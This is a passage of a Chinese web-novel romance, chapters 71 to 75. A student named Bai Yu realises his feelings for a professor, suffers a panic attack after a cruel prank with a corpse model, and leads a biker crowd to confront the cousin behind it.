【宋时蔚:太厉害了,都对了qvq】【你现在阅读的是 】 70-80 第71章 白榆犹豫了很久才把照片发给宋时蔚。 这是上次上课做的, 收上去助教改了之后。这节课,课前老师发下来,准备给他们简单讲两句。 盯着自己第一次全做对的题目, 白榆抱着一种奇怪的心情拍了照,发给宋时蔚。 刚发完白榆就后悔了。 幼稚死了。 拇指在撤回键上停着,还没等白榆按下去,就看见聊天框上显示出‘对方正在输入中……’。 白榆忽然觉得手机有些烫手。 宋时蔚怎么这么快就看到了。 消息很快就发了过来。 白榆耳根发红,盯那个从宋时蔚手里打出来就很奇怪的qvq, 看了好几眼。 讲台上,郑奶奶停下来, “这个问题,要不我们找个同学来回答一下吧。” 底下一片安静。 “那我们请……”郑奶奶故意停顿了一下,视线在教室内扫荡,最后落在了白榆身上,“我们请,坐在倒数第二排,最左边, 靠窗的,玩手机的,那位白头发的同学来回答一下吧。” 在盯手机的白榆:“。” 其他同学:啊,这就是老师的爱啊! 白榆放下手机, 乖乖的站起来,答出来了。 这就是一个概念性的问题,把书打开能找到答案的那种。 “很好。”郑奶奶用一种慈祥的目光看向白榆,真诚地说道,“最近白榆同学进步很大呢,都知道上课了呢。” “大家鼓掌鼓励一下。”郑奶奶带头拍手。 教室里配合的响起热烈的掌声。 白榆:“…………谢谢。” 白榆低着头坐下, 拿起笔,把手机放桌洞里装成没看到宋时蔚回消息,开始听课。 好不容易下课,白榆戴上帽子,背着包,往图书馆走。 还有两周多就要期中考了。 他们学校期中考试的成绩,会按照一定比例,算到总成绩里。 白榆以前没卷过绩点,对于考试向来都是能过就行。但他这个学期,在学校里只要没事就在图书馆里跑着 这算什么?为父则纲??? 看了一上午书之后,白榆大脑浑噩的想道。 白榆打开手机,打算在吃午饭前休息一会,然后下意识的打开了单词软件。 白榆:“……” 他给退出来了。 他不玩手机了,干脆靠在椅子上,往窗外看。 外面又是大晴天。白榆忽然想到,那天在幼儿园的事。 我应该没有心脏类的疾病吧。 最经还早睡早起的。 怎么会忽然心悸。 要不抽空去医院看一下。 白榆摸着心脏想到。 白榆思考了一下,怕自己别真是有什么病,决定找他身边整天日夜颠倒,最有可能心悸的人咨询一下。 【树;在?】 手机上立刻收到了回复。 【谢昀澈:有事】 白榆有些惊讶。 【树:你大白天醒着呢?】 谢昀澈是睡到一半忽然惊醒的,他刚醒的时候,就有一种不详的预感。 睡眠不足,谢昀澈心情不怎么样的回复。 【谢昀澈:觉得我没醒,你发什么消息】 【树:我有件事想问你一下。你经常熬夜,会不会莫名其妙的心跳加快。这种情况正常吗,要去医院看吗?】 谢昀澈不祥的预感,现在更深了。 【谢昀澈:你对宋时蔚心跳加快了】 白榆还没回复。 谢昀澈眉头一皱,和白榆认识这么多年,他明白了。 【谢昀澈:你是该去医院看,不过该挂的不是心内科,是感情科】 第72章 因为现在不能把作话放在前面了, 占用正文几个字,如果有宝觉得前后文接不上,可以看一下我的评论置顶。 【树:什么意思?】 谢昀澈非常直接的回复。 【谢昀澈:你喜欢宋时蔚】 白榆有一瞬间忘了呼吸, 大脑轰的一声,迅速的否定。 【树:我不喜欢宋时蔚】 【谢昀澈:那你为什么因为宋时蔚心跳加速】 【树:什么叫因为宋时蔚心跳加速?就不能是因为我有心脏病,呼吸类疾病,神经系统紊乱导致的?而且就算心跳加速是因为宋时蔚。那就一定是喜欢宋时蔚吗?为什么不是单纯因为他好看,我被他晃到眼了】 白榆噼里啪啦的打了一大串字。 谢昀澈只回来他一个字。 【谢昀澈:呵】 谢昀澈头一次见白榆写小作文。 谢昀澈发出了灵魂三连问。 【谢昀澈:怎么薛楠长的不好看?】 【谢昀澈:你是想亲过他?】 【谢昀澈:还是哪天被他晃到眼了】 白榆脑子里冒出来薛楠的样子——歪鼻子歪眼, 留着口水,阿巴巴巴巴巴的吵个不停。 白榆眉头一跳, 正准备写小作文反驳,就看见谢昀澈的消息。 【谢昀澈:就算你说你没觉薛楠好看。追你的人,能把我酒吧塞满了,这里面不是没有好看的吧】 【谢昀澈:你的心脏病,怎么就不犯了】 谢昀澈微微挑眉,有一种叫不醒装睡的人的无力感。 【谢昀澈:亲都亲了,抱也抱了, 孩子都有了。怎么,你是不喜欢宋时蔚,你是想上天】 聊天框对面是长久的沉默。 白榆撕开一根棒棒糖,草莓味的。他叼在嘴里, 用牙一边咬着糖,一边在用力地盯着谢昀澈最后一句话。 解释不了。 白榆把糖咬碎了。 草莓的味道在嘴里蔓延开,白榆把糖咔嚓咔嚓的咬碎,把糖渣咽了下去,注意到桌子斜对面女生投过来的好奇视线,把手机关了, 离开了图书馆。 白榆在外面晃着晃着,晃到了a大的食堂附近。 来都来了,白榆打算吃了午饭,在想怎么和宋时蔚解释。 白榆以前也来过这吃饭,不过那时候刷的是薛楠的卡,这次换成宋时蔚的了。 滴的一声。 食堂阿姨见白榆长的好看,心情美好的多给了白榆一个丸子。 白榆脑子里装着宋时蔚的事,完全没注意到,端着比他脸还大的一碗面走了。 隔壁窗口,心焦力疲的实验室命苦三人组,也出来吃午饭了。 赵雨轩眼尖,是第一个发现白榆的。 她转身就跑。 后面无知无畏的丁治伸手拉住了她,奇怪地问,“你去哪,下一个就是你了。” 同一时间,眼没那么尖的薛楠,也发现了那头显眼的白毛,大声叫道:“白榆。” 赵雨轩:完了。 白榆听见有人叫他,回过头,没看薛楠,一眼就发现赵雨轩。 是那天撞到安安去找宋时蔚的那个女生。 赵雨轩干笑着,“hi” 白榆:“……hi” 四目相对,两人都有些尴尬。 但尴尬的是他们,不是别人。 实验室命苦三人组很快打完饭,食堂的餐桌刚好能坐四个人,在不尴尬的人的热情邀请下,大家坐在了一起。 白榆坐在薛楠对面,一个一抬头就能近距离看到薛楠脸的位置。 白榆盯着薛楠的脸看。 皮肤死白。 眼睛死大。 头发太多。 这种人,在别人眼里算好看的吧? 白榆注意到,薛楠不说话的时候,有不少不了解薛楠的女生的往这边看。 我喜欢宋时蔚?白榆脑子里第n次没头没脑的冒出这个念头。 “你眼神这么怪怪的?”薛楠眯起眼睛说道,“总觉得你好像在嫌弃我。” “没。”白榆脑子里还在想宋时蔚的事,敷衍了两声就不说话了。 我要怎么解释,才能解释通,我不喜欢宋时蔚的事。 不喜 欢。 白榆压根没意识到,正常情况下,他根本不会绞尽脑汁的去跟别人解释这种事。 饭桌上的另外两人,赵雨轩恨不得学会遁地术,赶紧钻到桌子底下跑走,在愁论文的老博士丁治,一副死人微活的状态。 餐桌上只有薛楠一个人,在那阿巴巴巴巴巴巴个不停。 薛楠说着说着,话题就拐到宋时蔚身上去了,“对了,我们老板。你不知道,我今天上午去见他了。他太他妈变……嗷!师姐,你踩我干什么。” 听到宋时蔚的名字,白榆回过神,把耳朵竖了起来。 坐在薛楠斜对角,表面优雅吃饭的赵雨轩,不远万里地迈出腿,用力踩了薛楠一脚。 赵雨轩:“不好意思。不小心的。” 赵雨轩小心瞄着白榆,觉得自己可真是太有情有毅了。 怎么会有她这么好的师姐。 所以为什么只有她一个人知道啊T_T 老天奶啊,好想给别人说啊。 赵雨轩甩甩脑袋,努力删除她脑中的‘高冷教授霸道爱’的剧情,一个不留神,没看住的薛楠又开始阿巴巴巴巴。 “我老板他表面上看起来好沟通,实际上缺乏同理心,他到底为什么会觉得我能懂。他简直是个变态,他……” 白榆觉得薛楠说的对,宋时蔚就是没同理心,但是…… “嗷!!!白榆你干什么。”薛楠觉得他的脚都快被踩肿了。 白榆咽下面条,臭着脸说道:“脚滑。” 但是,别人说宋时蔚坏话,他又会不爽。 白榆头次发现自己还有点双标。 白榆破天荒的严肃对着薛楠问了个问题,“我问你个事,我有个朋友,他……” “你还有什么朋友呢。” 白榆话还没开头就被薛楠打断了,薛楠奇怪但真诚地眨了眨眼。 白榆酝酿到一半的情绪被打断,挑了下眉说道:“有。” “哦,好的。”薛楠秒怂,缩了缩脖子。 白榆清了清嗓子,继续说道:“我那个朋友认识一个人。那个人很好,对我朋友来说那个人就像他亲叔叔一样。” 低头装作吃饭的赵雨轩:这是什么,叔侄play?这就是和年龄小的谈恋爱的情趣吗?说起来小学弟,会叫教授叔叔吗,还是……爸爸。 赵雨轩偷瞄了一眼白榆。 “可是我那个朋友,他最近和我说……”白榆顿了顿,犹豫着开口,“他靠近那个人老是心跳过快,这是因为什么?” 赵雨轩不敢说话,在心底偷偷蛐蛐。 这是秀恩爱吗? 我要及时上前附和吗? 丁治一脸严肃的说道,“这个事情很严重啊。心脏不舒服可能是大事,要赶紧去医院看。万一耽误治疗就不好了。” 赵雨轩从碗里面抬起头,难以置信的盯着丁治。 “我觉得不对。”薛楠也一脸严肃地说道,“如果真的是心脏有问题,不应该只会在靠近一个人的时候心脏才不舒服。” 赵雨轩刚为她身边还是有正常人,松了口气,紧接着就听见了,薛楠发表的睿智言论。 “会不会是他给喂药了!”薛楠想起自己发小从小奇怪的体质,越想越觉得有可能,“你赶紧去医院查下血,不会有成瘾性吧。” “对!对!我怎么没有想到呢。”丁治也是一个精神,“**。安非他命。该不会是**那种东西吧。” 赵雨轩看着她对面的左卧龙,右凤雏越说越起劲,用力把嘴角往上扯了扯。 她时常因为太过正常,在这个组里面显得格格不入的。 赵雨轩正准备继续低头吃饭,就发现他导师的小男朋友正看着她。 赵雨轩咽了咽口水,僵硬的转过头。 导师的女朋友叫师母,导师的男朋友叫什么……小男师母吗? 赵雨轩发现她现在心跳也加速了。 “你觉得呢。”白榆开口问道。 “嗯?”赵雨轩一开始还没反应过来,明白后脱口而出,“你朋友喜欢他。” 肯定啊,不然呢,还能是因为什么。 “哦。谢谢。”白榆转过头,脸上还是那副没表情的死样子,长密的睫毛却快颤出虚影来。 我喜欢宋时蔚吗? 喜欢吗?!? 喜欢宋时蔚。 “白榆!白榆!你在听吗?!防人之心不可无,尤其是你身边出现的,有几个好人。在听吗!在听吗!” “啊。”白榆回过神,看见张牙舞爪的薛楠。 如果薛楠没有说一大堆乱七八糟的事前,白榆还很坚定他不喜欢宋时蔚。 那现在他已经开始动摇了。 薛楠那个脑子,根本想不到正常的事。 白榆惊恐的吃掉最后一个丸子,原来我有可能喜欢宋时蔚的吗。 那我之前,一直是在暗恋宋时蔚吗? 白榆脑子里冒出来,宋时蔚哄他,他强吻宋时蔚,宋时蔚给他做早饭的画面。 暗恋是这个样子的吗? 第73章 发现自己有可能喜欢宋时蔚后, 白榆吓出了一身的冷汗。 他匆忙的结束午饭,从食堂跑走了。 白榆现在满脑子都是他可能喜欢宋时蔚的事,在图书馆干坐了一个下午。回过神, 多了一章画满了鬼画符的草稿纸。 “嗡—”手机轻震了一下。 白榆一激灵,拿出手机一看,果然是宋时蔚的消息。 【宋时蔚:还是在东大门那等你】 【树:嗯,我马上就到】 白榆把包里的帽子口罩翻出来,把自己捂严实后, 往东门的方向去。 今天是他和宋时蔚约好了,一起去接安安的日子。 晚上还要一起出去吃饭。 白榆跟以前一样偷摸地上了宋时蔚的车, 但心脏却莫名跳的很快。 白榆一想到他可能暗恋宋时蔚,那他之前做的那些事就更不能容忍了。 我简直是流氓。 “怎么,发生什么事了吗?”发觉白榆今天有些奇怪,宋时蔚问道。 “没有。”白榆心虚地避开宋时蔚的目光。 宋时蔚挑了下眉,不知道小朋友又怎么了,把刚去买的东西塞给白榆。 “这是什么。”白榆接过一个造型可爱的盒子。 “点心。”宋时蔚发动车子,“新开的店。我看很多人都在买, 想着你可能也会喜欢吃,尝尝看。” “哦。”白榆打开盒子,里面是一排造型精致,还有温度的中式小点心。 宋时蔚不喜欢吃甜食。 这是他专门给我买的。 这个认知, 结合他可能暗恋宋时蔚的事,让白榆心脏又猛跳了一下。 白榆把点心塞到嘴里,脸颊鼓了起来,琥珀色的眼睛谨慎的在盯着宋时蔚看。 宋时蔚的身材很好,腰身精瘦,黑色的衬衫下胸肌紧实。 白榆记得……这些地方他都隔着衣服摸过。 白榆觉得他心脏跳的又不正常了。 车停靠在幼儿园的停车场, 宋时蔚下车前,看了眼白榆,问道:“脸上怎么这么红。” “热的了。”白榆把衣领往上拽了拽,遮住了半张脸,动作迅速的下了车,“我先下去了。” 快十月份的天了,气温已经开始转凉,何况车内开着空调,这么都不可能热到。 宋时蔚下车,走到白榆面前,宽大的手掌向上撸了一把白榆的碎发,覆在白榆额头上。 白榆下意识想把这只手拍开,发觉是谁的手后,又强忍住了,闭上了眼睛。 “不烫。”宋时蔚的声音很近。 “我没生病。”白榆不知道他现在的脸有多红,瓮声瓮气的说道,“就是热到了。” 白榆说完,转身就朝着幼儿园跑。 宋时蔚皱眉,发觉白榆有意在瞒着自己什么事,心底有些隐秘的不爽。 他看着这小孩走的飞快的背影,又觉得自己管的太宽了,心情更不好了。 幼儿园接孩子的地方,老师带着一串小崽崽们走了过来。 “安安!” “爸爸!” 白予安开心地挥了挥手,迈着小短腿朝白榆的方向跑了过来。 白榆一把把安安举高,抱在身上。 宋时蔚在旁边签字,顺便和老师寒暄了几句。 宋时蔚:“辛苦您了。” 陈老师:“没有的事。签完名字就可以带走了。安安,明天见。” 趴在白榆身上的白予安和老师告别,“老师,再见。” “爸爸!”白予安扬起小脑袋,大大的琥珀色眼睛看着白榆说道,“我们今天要和爹地一起出去吗?” “嗯。”白榆大幅度地点了下脑袋。 白予安:开心??v??* * * * 吃晚饭的餐厅是宋时蔚找的,一家不怎么辣的川菜。 安安还是有什么就吃什么,感觉有点辣,他就多喝了一些水,非常乖巧的像只小仓鼠一样的吃个不停。 白榆也吃了很多。 餐桌上,没有白榆不吃的东西。 就连白榆自己,有时候都会觉得他有点挑食。 他不吃的东西太多了,多到如果不是那天安安像报菜名一样,在车上报了一长串。白榆自己都不知道,他不吃的东西都快能去开个饭店了。 “我以为你喜欢那种……”白榆停了一下,思考要怎么形容,“没什么味道,但特别注重健康营养的食物。会带着我和安安也吃这种东西。” 宋时蔚有些奇怪,“为什么会这么想?” 白榆夹了一筷子回锅肉,放到盘子上,“你看起来就是天天吃这种东西的人。” 宋时蔚的确没什么口腹之欲,也没特别大的偏好,如果不是有了白榆,大早上包馄饨的事绝对不会发生。 宋时蔚笑了一声,端起桌子上清茶,喝了口茶,说道:“理论上来讲。人的味觉本身就会随年龄增长发生改变,偏好不同口味的食物。如果以成人的标准,去要求孩子的饮食,这是一种双标行为。” 白榆吃着东西,下意识的说,“哦。所以人年纪大了,就喜欢吃清淡的了吗?” 年纪大? 宋时蔚挑了下眉。 这么多年来,还真只有眼前这个小兔崽子把他年纪大挂在嘴边。 “白榆。”宋时蔚刻意咬重了这两个字,用一种认真的语气说道,“我三十二岁。” “嗯。不老不老。”白榆瞥见宋时蔚的脸色,又改口道,“不大不大。” 白榆第一次见宋时蔚这幅表情,没忍住嘴欠了一句,“不过人到三十也是要开始养生了,是吧是吧。” 宋时蔚一眼就看出来白榆是故意的了。 小兔崽子,宋时蔚没和白榆计较,在心底暗骂一声 * * * 吃完饭,宋时蔚开车把白榆和安安送到了白榆在b大旁边的房子。 宋时蔚:“我把车先停这。安安的玩偶在后面,我拿上去吧。” 白榆低着头在想事情,下意识地同意道:“好。” 安安的玩偶之前拿到宋时蔚的屋子去了。但是安安回来,又想把玩偶也拿回来。白榆之前提过给安安在买一只一模一样的放家里,被小崽崽拒绝了,小崽崽格外坚定的就是要狗狗和他在一起。 说是宋时蔚拿,但一下车,白予安就自己抱着毛茸茸的大玩具狗,撒欢似地跑在爸爸和爹地前面。 “爸爸,快点。”白予安转过身,朝着白榆挥了挥手。“快点。” “嗯,好。”白榆嘴上答应,步子却没有半点加快,在后面慢走着,看着白予安一头往前跑。 晚霞挂在天边,落日的余晖下,小区里不少大爷大妈出来散步。 “小榆,这是你朋友吗。长的一表人才的啊。” “嗯。” “小榆,吃了吗。” “吃过了。” 白榆话不多,但无论谁和他说话,都会回复。他双手插在兜里,眉眼间神情淡淡的,看起来不怎么好相处的样子,但宋时蔚发现,白榆在小区里人缘却意外的好。 两人一路散步到楼下,安安站在楼下等他们两个。 白予安:“爸爸!爹地!” 白榆性情很好的摸了摸他家崽的呆毛,牵着安安的手,一起上楼。 小区是一梯两户的,楼道里屋子的入户门前,每户还有一道公共门。 白榆推开公共门,回过头笑着对白予安说道,“好了,到了。” 门推开的那一瞬间,白榆感到胸口处一阵钝痛。 有东西砸到了他身上。 白榆转过头。 黑色的长发从白榆眼前滑过。 刚砸到白榆身上的‘东西’,在白榆身上撞了一下,又继续往地上掉。 落地时,发出沉闷地声响。 白榆四肢冰冷,缓慢地低下头。 黑色的长发,乱七八糟的落在‘她’的脸上。 黑发间,一双纯黑色的眼睛,正直勾勾的望着白榆。 白榆的瞳孔扩张,冷汗冒了一身。 他的视线模糊,意识像是抽离了一样,耳边不断响起了声音。 如果不是你,你妈就不会死! 我要是没生下你就好了! 你为什么做不到! 白榆面色发白,呼吸开始变得急促,试图说话却只发出来无意义的气音,无意识一步一步的往后退。 “白榆!” 白榆忽然撞到了东西,步子被迫停了下来。 后背温热的触感,让白榆稍微回神,他的手腕感到一紧,被拉到了一个温热的怀抱中。 宋时蔚把白榆的头按在自己颈部,手臂环在白榆的腰间,收的很紧,他的手掌捂住白榆的脑袋,轻轻的拍了两下,充满安抚意味地在白榆的耳边轻念,“白榆。” 白榆止不住地在发抖。 宋时蔚握住白榆僵直的手臂,将白榆的掌心放在了自己心脏的位置,另一只手,轻握着白榆的后颈,有些强硬地说道:“吸气。” 感受着白榆胸骨的起伏,宋时蔚向鼓励小孩子似的,顺着白榆的后颈,抚摸到白榆的脑袋,轻拍了几下,在心里数着秒数说道:“呼出来。” 白榆遵从着宋时蔚的指令反复呼吸着。 炙热的体温和强有力的心跳顺着相贴的皮肤传了过来。白榆在熟悉的气息下,呼吸逐渐平复下来,他贴在宋时蔚身上,知道应该和宋时蔚拉开距离了,但却没有动。 “我……”白榆用力咬着后牙,想从宋时蔚身上起来,脑袋却再次被人按住。 宋时蔚说道:“别看。” 这是很明显的应激反应。 宋时蔚清楚,让白榆这个反应的不是眼前这具哪怕做的再逼真,也能看出来的‘尸体’。 再次接触应激源,不见得还会产生应激。 但宋时蔚还是不想让白榆在看到了。 宋时蔚想抱一下白榆,最后还是忍住了,喉间发涩。 “闭上眼睛。跟着我走。”宋时蔚握住白榆的手,声音尽可能温缓地说道,把白榆重新带到了电梯里。 安安跟在后面,担忧的跑了进来。 白榆在电梯里重新睁开了眼睛,看见宋时蔚就在他旁边握住他。 “爸爸!”安安跑到白榆面前,脸颊发红,滚圆的眼睛一动不动地盯着白榆。 “我,我刚才……”白榆深吸了两口气,想解释,努力的为自己的反常找理由,“我刚才……” 我刚才和你们做游戏呢。 其实我脑子有点问题。 哈哈(冷漠) 白榆吸了吸鼻子,觉得他要是真这么说,脑子估计也真有问题了。 “我刚才……”白榆第三次尝试找理由。 “爸爸。”白予安一把用力的抱住白榆的大腿,超大声说道,“安安给爸爸抱,爸爸要开心。” 宋时蔚顺手摸了摸白榆脑袋上的白毛,跟着说道:“要开心。” “哦。”白榆顿了顿把安安抱起来。 安安肉乎乎的小脸,用力在白榆脖子上贴了贴。 宋时蔚把白榆带到了车里,从冰箱里拿了盒糖出来给白榆,“放在舌头底下含一会。” 嘱咐完,宋时蔚拨打了报警电话,“您好,我要报警。这里是……” 白榆把糖放在舌根,扭头盯着宋时蔚在看。 第74章 宋时蔚说清楚原委后, 挂了电话,“警察很快就到了。有物业的电话吗?” “嗯。”白榆含着糖,说话有些不清楚, “有。我自己去打过去就行。” “好。” 宋时蔚处理事的方式和冷静的态度,让白榆也逐渐平静了下来。 他打电话给物业说了这件事,那边立刻道歉,说马上派人过来处理。 物业来的很快,没多久警察也到了, 查监控发现今天下午有两个人扛着衣柜,装作搬运工的样子, 跟在其他业主后面混了进来。然后一路爬楼梯到了六楼,从衣柜里把那具‘尸体’拿了出来,放在门口。 这两人就是附近的,被找到之后,一口咬死了,他们不认识白榆,就是恶作剧, 想随便找个人吓吓,最后被带回警局,拘留教育个几天。 警察例行向白榆询问,“那个……模型, 你认识不?” 宋时蔚走到白榆身旁。 白榆看见宋时蔚,心情平静了很多,“那应该是照着我妈走的样子弄的。” 警察沉默了一会,说道:“抱歉。” 白榆:“没事。” 见对方情绪还算稳定,警察继续问道:“你和什么人有矛盾吗?这件事,有没有怀疑的对象?” 白榆摇头, 果断地说道:“没有。” “行。”警察收起询问的小本,说道:“我们会继续调查下去的。如果后续有线索,也可以随时联系我们。” 白榆:“谢谢。” 宋时蔚:“谢谢,麻烦几位了。” 警察处理完这些事,带着放模型的那两人,连带着模型,一起坐警车走了。 忙完这些事,天已经黑下来了,白榆抬头望了眼天空,对宋时蔚说道:“谢谢。那个……挺晚了,你要不先回去吧。” 发觉白榆在故意赶自己,宋时蔚皱了下眉,说道:“我和你先一起到屋子,放完东西再走。” 如果放在平时,宋时蔚还不会这么在意。 但是今天这个情况。 “不用了。”白榆拒绝,快步走到车前,打开门,把安安的玩具狗拿了出来,“我先走了。安安。” 安安一直在车里,小崽崽两只小手支在车玻璃上,琥珀色的大眼睛一动不动地盯着爸爸和爹地看,听见爸爸叫自己,打开门,自己蹦了出来。 小崽崽觉得气氛不太对,左看看,右看看,小脑袋转啊转的。 “我先走了。”白榆动作飞快的扛起玩具狗,拉着安安的手跑走了。 “爸爸。”白予安被白榆拉着往前走,回头又看看站在原地没动的爹地,觉得很奇怪。 “怎么了?”白榆低头问道。 在好奇的小崽崽,摇了摇头,不说话。 尽管那具‘尸体’已经被搬走了,但白榆看见那扇门的时候,还是有一瞬间的呼吸停滞。 烦。 白榆皱着眉,有些后悔,没能找到机会给那两放东西的煞笔一拳。 他正准备去推门,他家崽就先一步松开了他的手,跑过去推门。 ……然后推不动。 安安站直身子,盯着门看,眨了眨眼,思考了一小会。 安安整只崽靠在门上,像只汤圆一样用力贴着,憋住气,更加用力的推。 小崽崽脸都红了,门还是不动。 白榆没忍住笑出声了。 他蹲在门口,捏了一把安安的小脸。 白予安:0.0 白榆又捏了一下。 直到捏的白予安在盯他,白榆才去推门,牵着自己崽的手往屋子里走。 白榆到屋子里,安静了一会说道:“安安,我们睡吧。” 安安记得现在还不到睡觉的时间,疑惑的问道:“为什么啊,爸爸?” “……早睡早起,身体好。”白榆推着自家崽往浴室走,“我们先去洗澡吧。” 白予安:“?” 安安很奇怪,但还是配合的去浴室里洗香香了。洗完澡,安安拿着本书,眼睛亮晶晶的看着爸爸,要给爸爸讲睡前故事。 为了让安安早点睡觉,白榆配合的躺在床上,听安安讲睡前故事。 安安:“最后,马儿回到了最初的主人手上,度过了安逸的晚年。” “讲完了?”白榆打了个哈欠,面无表情地海豹式鼓掌。 “嗯。”白予安精神奕奕地又拿出一本书,“爸爸,我们在讲一个吧。” “明天在讲。我明天也听你讲。”白榆保证完,快速地把白予安塞进被子里,关上了灯,“现在要睡觉了。” 白榆觉得在听下去,安安不睡,他就快睡着了。 好困,只要一听安安讲故事他就困。 白榆在床上躺着,等安安的呼吸变均匀后,轻手轻脚地离开了卧室。 白榆重新走到浴室,打开花洒,把水扭到凉水的那端,站在花洒下,沉默地思考着。 他知道那东西是谁放的。 很好猜。 知道他妈走的时候什么样子的人就不多,在知道他有病的人就更少了。 “嗡嗡——”手机的震动声响了起来。 白榆把水关了,随便擦了把头发,套上衣服,把毛巾顶在头上,去拿手机。 【谢昀澈:陆尚人在国外。陆正真人我是找到了,他和他几个小跟班今天晚上准备在外面,地址一会我发你】 【树:嗯,我知道了,谢了】 【谢昀澈:别太过了】 【树:嗯】 我尽量。 白榆放下手机,把毛巾摘掉,随手放在旁边,用吹风机开始吹头发。 哦,对。 还有发蜡。 白榆翻了半天,终于翻出一瓶在保质期的底线上横跳的发蜡。 白榆把头发弄好后,看着镜子里的自己,一股巨大的羞耻感袭上心头,他一巴掌拍在自己额头上,把自己前段时间从箱底翻出来的耳钉给带上。 白榆把耳边的碎发撩开,露出了他的五个耳洞。 打的时候疼死了,我那时候脑子是不是有病,白榆边带耳钉边在心里吐槽。 白榆一不做二不休的翻出自己的戒指,链子一并带上了。 嗯,就这样吧。 白榆木着脸看向镜子中的自己。 手机又响了起来。 【哥,我们都到齐了。您一声令下,我们随时都能出发】 【树:好】 一会要开机车,白榆把自己黑色搭上,高贵冷艳的往外面走。 “爸爸,你要去哪里。”白予安把卧室的门推开一道小缝,滚圆的眼睛一眨不眨的看着白榆。 白榆差点表演一个左脚绊右脚,平地摔跤。 白榆在原地僵了几秒后,干巴巴地问道:“安安,你怎么还没睡。” 白予安揉了揉眼睛,好奇地围着白榆看,“爸爸,你为什么穿成这样啊。” “我……”白榆觉得他头上都快冒烟了,脑子一宕机,口袋里掏出一幅墨镜戴在脸上,“我要去演古惑仔。” “古惑仔?”白予安满头问号。 “嗯。”白榆觉的他带的可能不是墨镜,是那种盲人眼镜,否则他现在也不会睁着眼睛说瞎话,“群演。” “群演?”白予安歪着小脑袋,“是什么呀?好玩吗?” “不好玩。赶紧睡觉。”白榆把自家崽往卧室里推。 等一下。 我一会要出去,这么晚留白予安一个人醒着在家不太好吧。 白榆的动作一顿。 房内传来了敲门的声音,白榆先去开门了,安安正好像条小尾巴一样跟在他后面。 白榆边开门边问道:“哪位?” “是我。”这么晚了,黎默有些不好意思,她看见白榆后,她眼睛睁大了一些。 白榆也有点尴尬,但脸上还是没表情,“有什么事吗。” 黎默意识到自己刚才多少有点不礼貌了,解释道:“是要出去玩吗?很少见你穿成这样。安安在吗?” “姐姐。”白予安从白榆后面冒出头,举起小爪爪抢答,“我爸爸要去演古惑仔。” 黎默:“啊?” 白榆捂住了白予安的嘴。 黎默看着白榆的脸,肯定地说道,“绝对会红的。” 就算演的像木头,冲着这张脸也绝对会有人买票的。 白榆:“……谢谢。” 但并不需要。 没了一开始的惊讶后,黎默觉得白榆这么穿很帅。 她搬过来这么久,一直不太敢和白榆说话的一大理由就是白榆看起来很‘凶’。他的眼睛有点像那种杏眼,眼尾耸拉着的,不说话的时候,总有一种冷漠的厌世感。 现在这幅打扮,直接把他平时那份‘凶’拉到了顶点。 到时候肯定能圈一堆颜粉。 黎默走完神,忽然想起正事,“我堂弟今天在。我想找安安和他一起玩。” 白予安:“!” 白榆灵光一现,“我晚上要出去一趟。可能很晚才回来,可以……麻烦你帮我照顾一下安安吗?” 白予安:“!!” “当然可以的。”想撸别人家崽的黎默兴奋地说道,“刚好可以和黎渝一起。我很有看小孩子的经验的。放心出去吧。” 白予安:“!!!” 安安眨了眨眼,发现他还没来的及反抗,就已经被爸爸卖掉了。 “走啦,安安。一会和小哥哥一起睡好不好?他也在姐姐这里,你们还能一起玩。”黎默牵着白予安的小软手,往自己家走。 安安快速扭过头,发现爸爸已经跟着电梯下去了,开始想爸爸了。 安安不想和他睡╰_╯! * * * 陆正真这边玩的正嗨。 DJ的声音大的吵到耳鸣。这个时间点,在场的人,多少都有些喝多了,肆无忌惮的吼叫着,疯癫的不像是人类。 陆正真正搂着一个漂亮的女人,他开了一瓶酒,任由酒水喷到对方身上,大声的吹了个口哨。 周围的人也跟着下流的起哄。 “你,有没有听见什么声音。就是那种……发动机的声音。”一个喝多了的女人扶着头问道。 “什么发动机的声音,哈哈哈哈。你是不是喝多了。这个地方哪来的人来。”她旁边那个男的比她喝的还多,指着她大声的嘲笑,笑完了之后,对着酒瓶喝了起来。 “不是。”女性捂着脑袋,认真的去听,“是真的是有声音。” “什么……”男的话说道一半,忽然停了下来。 他好像也听到了声音。 夜空中,一片厚重的马达轰鸣声由远而近逼来。 不知道是谁把音乐关了,原本乱成一团的地方,骤然安静了下来。 还没等他们还没回神,就看见一排改装后的机车排成一排飚驰而来,粗略数去至少有二三十辆。 这些车开过来后,丝毫没有停下来的意思,擦着这群醉鬼驶过,在惊叫声中一个漂亮的甩尾,稳稳当当的停在了他们后面。 紧接着其他的车,也仿佛约好了一样,嚣张而有序的把他们围了起来。 晃眼的车灯齐齐的朝着他们打了过来。 这里人的酒瞬间醒了大半,一起清醒的还有大脑,一种名为不安的情绪,少见的徘徊在他们脑中。 怎么回事! 紧接着,他们看着在这群人中心的一个白头发的人,从车上下来,走到他们陆哥面前,拽着他们陆哥的头发,把人从地上拉了起来。 白榆戴着副黑色的手套,手指扯着陆真正的头发,垂下眼帘,高居临下的瞥着对方,冷冷地吐出几个字,“来,我们谈谈你在门口放东西的事。” 第75章 几十辆改装后的机车把这里围住, 这种超脱日常生活的场景,把这群醉鬼吓的不轻,一个两个的像个鹌鹑一样往后缩。 白榆从车上下来后, 其他人也跟着纷纷下车,个别几个手里还拿着铁棍,吹了声口哨,个个都是能打的样子。 “呦,这不是陆正真吗, 好久不见啊,你这么有勇气吗。” “哥, 刚好旁边就是江。要不一会给他绑在绳子上,在江里透个几次。” “诶,这主意不错。最好扒光了去透。” “哈哈哈哈哈哈。” 后面的这群人肆无忌惮的讨论了起来。 跟陆正真出来玩的这群醉鬼哪见过这样的场面,几个喝多了的脑子,不清楚的抱在一起痛哭。 妈妈,我要回家! 呜呜呜! 白榆被吵的头疼,耳朵也很疼。 他身后的这群二货一点收敛的意思也没有, 讨论的更激烈了。 白榆把陆正真的头发往后一拉,对方重重的摔倒地上,白榆往四周看了一圈,说道:“滚蛋。” 好嘞。 塑料友谊下, 这群醉鬼不带一丝留恋的跑了。 陆正真的酒彻底醒过来了。 他整个头皮疼的发麻,刚被摔的脑子里嗡嗡的叫响。 陆正真看着白榆的脸色,四肢开始颤动,肾上腺素开始飙升,“你,你……” 白榆的反应会不会太大了。 就算要来找他算账, 也不至于这样吧。 他不过就是想刺激一下白榆……又没真出什么事。 自从陆莫宁死了后,陆正真没少在白榆面前犯贱。仗着白榆一直觉得自己对不起陆莫宁,这么多年来,白榆还真从没把陆正真怎么样过。 但今天…… 陆正真心下一沉,觉得他可能半条命,要搭在这了。 他表弟是真生气了。 